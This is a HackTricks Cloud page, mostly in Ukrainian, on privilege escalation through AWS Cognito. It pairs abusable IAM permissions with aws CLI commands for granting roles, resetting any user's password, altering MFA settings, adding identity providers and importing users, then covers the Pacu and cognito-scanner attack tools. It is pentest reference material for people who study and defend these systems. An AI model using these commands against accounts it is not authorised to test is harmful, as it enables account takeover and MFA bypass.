AWS - Cognito Privesc
Reading time: 12 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Cognito
Детальніше про Cognito див.:
Збір облікових даних з Identity Pool
Оскільки Cognito може надавати IAM role credentials як авторизованим, так і неавторизованим користувачам, якщо ви знайдете Identity Pool ID додатку (зазвичай він захардкожений у ньому), ви можете отримати нові облікові дані і таким чином privesc (в межах AWS аккаунта, де у вас, ймовірно, раніше взагалі не було жодних облікових даних).
Для додаткової інформації перегляньте цю сторінку.
Потенційний вплив: Прямий privesc до ролі сервісу, прикріпленої до неавторизованих користувачів (і, ймовірно, до тієї, прикріпленої до авторизованих користувачів).
cognito-identity:SetIdentityPoolRoles, iam:PassRole
З цим дозволом ви можете надати будь-яку cognito роль авторизованим/неавторизованим користувачам cognito app.
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>
# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
Якщо cognito app не має увімкненої опції unauthenticated users, вам також може знадобитися дозвіл cognito-identity:UpdateIdentityPool, щоб її увімкнути.
Potential Impact: Прямий privesc до будь-якої ролі cognito.
cognito-identity:update-identity-pool
Зловмисник із цим дозволом може, наприклад, налаштувати під своїм контролем Cognito User Pool або будь-який інший identity provider, у який він може увійти як спосіб доступу до цього Cognito Identity Pool. Тоді просто увійшовши в того провайдера користувачів, він отримає доступ до налаштованої authenticated role в Identity Pool.
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:
# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
Також можна зловживати цим дозволом, щоб дозволити basic auth:
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow
Потенційний вплив: Компрометація налаштованої authenticated IAM role у identity pool.
cognito-idp:AdminAddUserToGroup
Цей дозвіл дозволяє add a Cognito user to a Cognito group, тому нападник може зловживати цим дозволом, щоб додати під своїм контролем користувача до інших груп з кращими привілеями або іншими IAM roles:
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>
Можливий вплив: Privesc до інших Cognito груп та IAM ролей, прикріплених до User Pool Groups.
(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole
Зловмисник з такими дозволами може створити/оновити групи з будь-якою IAM role, яку може використовувати скомпрометований Cognito Identity Provider, і зробити скомпрометованого користувача частиною групи, отримавши доступ до всіх цих ролей:
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
Потенційний вплив: Privesc до інших ролей Cognito IAM.
cognito-idp:AdminConfirmSignUp
Цей дозвіл дозволяє підтвердити реєстрацію. За замовчуванням у додатках Cognito будь-хто може зареєструватися; якщо це дозволено, користувач може створити обліковий запис із будь-якими даними й підтвердити його за допомогою цього дозволу.
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>
Потенційний вплив: Непряме privesc до identity pool IAM role для автентифікованих користувачів, якщо ви можете зареєструвати нового користувача. Непряме privesc до інших функціональностей додатку через можливість підтверджувати будь‑який акаунт.
cognito-idp:AdminCreateUser
Цей дозвіл дозволяє зловмиснику створити нового користувача в user pool. Новий користувач створюється в активному стані, але повинен буде змінити свій пароль.
aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]
Потенційний вплив: Прямий privesc до identity pool IAM role для authenticated users. Побічний privesc до інших функцій додатку, що дозволяє створювати будь-якого користувача
cognito-idp:AdminEnableUser
Ці permissions можуть допомогти у дуже рідкісному сценарії, коли attacker знайшов credentials деактивованого користувача і йому потрібно заново активувати цього користувача.
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>
Потенційний вплив: Непрямий privesc до identity pool IAM role для authenticated users та отримання permissions користувача, якщо зловмисник мав облікові дані disabled user.
cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge
Цей дозвіл дозволяє увійти за допомогою method ADMIN_USER_PASSWORD_AUTH. Для додаткової інформації перейдіть за посиланням.
cognito-idp:AdminSetUserPassword
Цей дозвіл дозволяє зловмиснику змінити пароль будь-якого користувача, що дає змогу йому видавати себе за будь-якого користувача (якщо у нього не ввімкнено MFA).
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent
Потенційний вплив: Прямий privesc практично до будь-якого користувача, тож доступ до всіх груп, членом яких є кожен користувач, а також доступ до Identity Pool authenticated IAM role.
cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool
AdminSetUserSettings: Зловмисник може потенційно зловживати цим дозволом, щоб встановити мобільний телефон, що перебуває під контролем зловмисника, як SMS MFA користувача.
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>
SetUserMFAPreference: Подібно до попереднього, цей дозвіл можна використати для встановлення налаштувань MFA користувача, щоб обійти захист MFA.
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>
SetUserPoolMfaConfig: Схоже на попередній, цей дозвіл можна використати для налаштування MFA preferences у user pool, щоб bypass MFA protection.
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]
UpdateUserPool: Також можливо оновити user pool, щоб змінити політику MFA. Check cli here.
Potential Impact: Indirect privesc до будь-якого користувача, чиї credentials відомі нападнику; це може дозволити обійти захист MFA.
cognito-idp:AdminUpdateUserAttributes
Нападник з цим дозволом може змінити email, номер телефону або будь-який інший атрибут користувача, що перебуває під його контролем, щоб спробувати отримати більше привілеїв у відповідному застосунку.
Це дозволяє змінити електронну адресу або номер телефону та позначити їх як підтверджені.
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>
Потенційний вплив: Потенційне непряме privesc у базовому застосунку, який використовує Cognito User Pool і надає привілеї на основі атрибутів користувача.
cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient
Зловмисник з цим дозволом може створити новий User Pool Client з меншими обмеженнями, ніж існуючі клієнти пулу. Наприклад, новий клієнт може дозволяти будь-який метод аутентифікації, не мати жодного секрету, мати відключене відкликання токенів, дозволяти довший термін дії токенів...
Те саме можна зробити, якщо замість створення нового клієнта змінити існуючий.
У command line (або у update one) ви можете побачити всі опції, перевірте!
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]
Potential Impact: Потенційний непрямий privesc для авторизованого користувача Identity Pool, що використовується User Pool — через створення нового client, який послаблює заходи безпеки й дозволяє attacker залогінитися під користувачем, якого він зміг створити.
cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob
Attacker може зловживати цим дозволом, щоб створювати користувачів, завантажуючи csv з новими користувачами.
# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>
# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>
# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
(У випадку створення нового import job вам може також знадобитися iam passrole permission, я цього ще не перевіряв).
Потенційний вплив: Прямий privesc до identity pool IAM role для авторизованих користувачів. Опосередкований privesc до інших функціональностей додатку, які можуть створювати будь-якого користувача.
cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider
Зловмисник може створити нового провайдера ідентичності, щоб потім мати змогу увійти через цього провайдера.
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]
Potential Impact: Прямий privesc до identity pool IAM role для authenticated users. Побічний privesc до інших функціональностей додатка, що дозволяє створювати будь-якого користувача.
cognito-sync:* Аналіз
This is a very common permission by default in roles of Cognito Identity Pools. Even if a wildcard in a permissions always looks bad (specially coming from AWS), the given permissions aren't super useful from an attackers perspective.
Цей дозвіл дозволяє читати інформацію про використання Identity Pools та Identity IDs всередині Identity Pools (що не є чутливою інформацією).
Identity IDs might have Datasets assigned to them, which are information of the sessions (AWS define it like a saved game). Можливо, це містить якийсь тип чутливої інформації (але ймовірність цього досить низька). Ви можете знайти на enumeration page, як отримати доступ до цієї інформації.
An attacker could also use these permissions to enroll himself to a Cognito stream that publish changes on these datasets or a lambda that triggers on cognito events. I haven't seen this being used, and I wouldn't expect sensitive information here, but it isn't impossible.
Автоматичні інструменти
- Pacu, the AWS exploitation framework, тепер включає модулі "cognito__enum" та "cognito__attack", які автоматизують enumeration of all Cognito assets in an account та позначають слабкі конфігурації, user attributes used for access control тощо, а також автоматизують створення користувачів (включаючи MFA support) та privilege escalation на основі modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens тощо.
For a description of the modules' functions see part 2 of the blog post. For installation instructions see the main Pacu page.
Використання
Sample cognito__attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
Приклад використання cognito__enum для збору всіх пулів користувачів, клієнтів пулів користувачів, пулів ідентичності, користувачів тощо, видимих у поточному обліковому записі AWS:
Pacu (new:test) > run cognito__enum
- Cognito Scanner — це CLI-утиліта на python, яка реалізує різні атаки на Cognito, включаючи privesc escalation.
Встановлення
$ pip install cognito-scanner
Використання
$ cognito-scanner --help
Для отримання додаткової інформації перегляньте https://github.com/padok-team/cognito-scanner
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud